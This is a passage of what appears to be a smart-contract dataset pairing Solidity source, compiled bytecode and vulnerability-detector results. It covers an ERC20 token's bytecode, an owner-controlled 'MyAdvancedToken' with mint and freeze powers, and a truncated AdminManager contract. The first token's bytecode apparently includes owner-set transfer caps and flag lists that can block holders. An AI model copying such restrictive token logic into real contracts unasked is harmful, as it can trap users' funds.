require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202713ea0039eb33043a3c95d54fdf9b590805a015a048a64310f65d44db481dd564736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,625 |
0x5917053ea5c875b82de9bbe3cc62a3669a544f37
|
pragma solidity ^0.4.23;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(address(this).balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461012c57806306fdde0314610149578063095ea7b3146101d357806318160ddd1461020b57806323b872dd14610232578063313ce5671461025c57806342966c68146102875780634b7503341461029f57806370a08231146102b457806379c65068146102d557806379cc6790146102f95780638620410b1461031d5780638da5cb5b1461033257806395d89b4114610363578063a6f2ae3a14610378578063a9059cbb14610380578063b414d4b6146103a4578063cae9ca51146103c5578063dd62ed3e1461042e578063e4849b3214610455578063e724529c1461046d578063f2fde38b14610493575b600080fd5b34801561013857600080fd5b506101476004356024356104b4565b005b34801561015557600080fd5b5061015e6104da565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b506101f7600160a060020a0360043516602435610567565b604080519115158252519081900360200190f35b34801561021757600080fd5b50610220610597565b60408051918252519081900360200190f35b34801561023e57600080fd5b506101f7600160a060020a036004358116906024351660443561059d565b34801561026857600080fd5b50610271610614565b6040805160ff9092168252519081900360200190f35b34801561029357600080fd5b506101f760043561061d565b3480156102ab57600080fd5b506102206106a7565b3480156102c057600080fd5b50610220600160a060020a03600435166106ad565b3480156102e157600080fd5b50610147600160a060020a03600435166024356106bf565b34801561030557600080fd5b506101f7600160a060020a036004351660243561078a565b34801561032957600080fd5b50610220610866565b34801561033e57600080fd5b5061034761086c565b60408051600160a060020a039092168252519081900360200190f35b34801561036f57600080fd5b5061015e61087b565b6101476108d3565b34801561038c57600080fd5b50610147600160a060020a03600435166024356108f3565b3480156103b057600080fd5b506101f7600160a060020a0360043516610902565b3480156103d157600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101f7948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506109179650505050505050565b34801561043a57600080fd5b50610220600160a060020a0360043581169060243516610a4e565b34801561046157600080fd5b50610147600435610a6b565b34801561047957600080fd5b50610147600160a060020a03600435166024351515610aca565b34801561049f57600080fd5b50610147600160a060020a0360043516610b49565b60005433600160a060020a039081169116146104cf57600080fd5b600791909155600855565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561055f5780601f106105345761010080835404028352916020019161055f565b820191906000526020600020905b81548152906001019060200180831161054257829003601f168201915b505050505081565b600160a060020a033381166000908152600660209081526040808320938616835292905220819055600192915050565b60045481565b600160a060020a038084166000908152600660209081526040808320339094168352929052908120548211156105d257600080fd5b600160a060020a038085166000908152600660209081526040808320339094168352929052208054839003905561060a848484610b93565b5060019392505050565b60035460ff1681565b600160a060020a03331660009081526005602052604081205482111561064257600080fd5b600160a060020a03331660008181526005602090815260409182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60075481565b60056020526000908152604090205481565b60005433600160a060020a039081169116146106da57600080fd5b600160a060020a03808316600090815260056020908152604080832080548601905560048054860190558051858152905130909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a381600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600160a060020a0382166000908152600560205260408120548211156107af57600080fd5b600160a060020a03808416600090815260066020908152604080832033909416835292905220548211156107e257600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293815290839020805486900390556004805486900390558251858152925191927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929081900390910190a250600192915050565b60085481565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561055f5780601f106105345761010080835404028352916020019161055f565b6000600854348115156108e257fe5b0490506108f0303383610b93565b50565b6108fe338383610b93565b5050565b60096020526000908152604090205460ff1681565b6000836109248185610567565b15610a465780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109da5781810151838201526020016109c2565b50505050905090810190601f168015610a075780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610a2957600080fd5b505af1158015610a3d573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b6007548102600160a060020a033016311015610a8657600080fd5b610a91333083610b93565b600754604051600160a060020a03331691830280156108fc02916000818181858888f193505050501580156108fe573d6000803e3d6000fd5b60005433600160a060020a03908116911614610ae557600080fd5b600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b60005433600160a060020a03908116911614610b6457600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610ba857600080fd5b600160a060020a038316600090815260056020526040902054811115610bcd57600080fd5b600160a060020a0382166000908152600560205260409020548181011015610bf457600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610c1a57600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610c4057600080fd5b600160a060020a03808416600081815260056020908152604080832080548790039055938616808352918490208054860190558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050505600a165627a7a723058200fe277da7679ba4281fda0ce61ca5629110cc9bb4ebc435e07db0f437feba1ff0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,626 |
0xbe2df08665ee7b1b11cdf06c70ad6fc58360ff53
|
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-25
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.6;
// import "@openzeppelin/contracts/ownership/Ownable.sol";
// import '@openzeppelin/contracts/token/ERC721/ERC721Holder.sol';
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public returns (bytes4);
}
contract ERC721Holder is IERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes memory
) public returns (bytes4) {
return this.onERC721Received.selector;
}
}
interface IMintable {
// Required read methods
function getApproved(uint256 tokenId) external returns (address operator);
function tokenURI(uint256 tokenId) external returns (string memory);
// Required write methods
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function burn(uint256 tokenId) external;
function mint(string calldata _tokenURI, uint256 _royality) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
}
interface IBrokerV2 {
function bid(
uint256 tokenID,
address _mintableToken,
uint256 amount
) external payable;
function collect(uint256 tokenID, address _mintableToken) external;
function buy(uint256 tokenID, address _mintableToken) external payable;
function putOnSale(
uint256 _tokenID,
uint256 _startingPrice,
uint256 _auctionType,
uint256 _buyPrice,
uint256 _startingTime,
uint256 _closingTime,
address _mintableToken,
address _erc20Token
) external;
function updatePrice(
uint256 tokenID,
address _mintableToken,
uint256 _newPrice,
address _erc20Token
) external;
function putSaleOff(uint256 tokenID, address _mintableToken) external;
function makeAnOffer(
uint256 tokenID,
address _mintableToken,
address _erc20Token,
uint256 amount
) external payable;
function accpetOffer(
uint256 tokenID,
address _mintableToken,
address _erc20Token
) external payable;
function revertOffer(
address _mintableToken,
uint256 tokenID,
address _erc20Token
) external payable;
function revertAll(address _mintableToken, uint256 tokenID) external;
}
interface IERC20 {
function approve(address spender, uint256 value) external;
function decreaseApproval(address _spender, uint256 _subtractedValue)
external;
function increaseApproval(address spender, uint256 addedValue) external;
function transfer(address to, uint256 value) external;
function transferFrom(
address from,
address to,
uint256 value
) external;
function increaseAllowance(address spender, uint256 addedValue) external;
function decreaseAllowance(address spender, uint256 subtractedValue)
external;
function balanceOf(address who) external view returns (uint256);
}
/**
* @title AdminManager
* @author Yogesh Singh
* @notice You can use this contract to execute function on behalf of superUser
* @dev Mediator contract to allow muliple user to perform ERC721 action using contracts address only
*/
contract AdminManager is Ownable, ERC721Holder {
address[] public admins;
struct FunctionNames {
string approve;
string transfer;
string burn;
string mint;
string safeTransferFrom;
string transferFrom;
string putOnSale;
string buy;
string bid;
string collect;
string updatePrice;
string putSaleOff;
string makeAnOffer;
string accpetOffer;
string revertOffer;
string revertAll;
string erc20Approve;
string erc20DecreaseApproval;
string erc20IncreaseApproval;
string erc20Transfer;
string erc20TransferFrom;
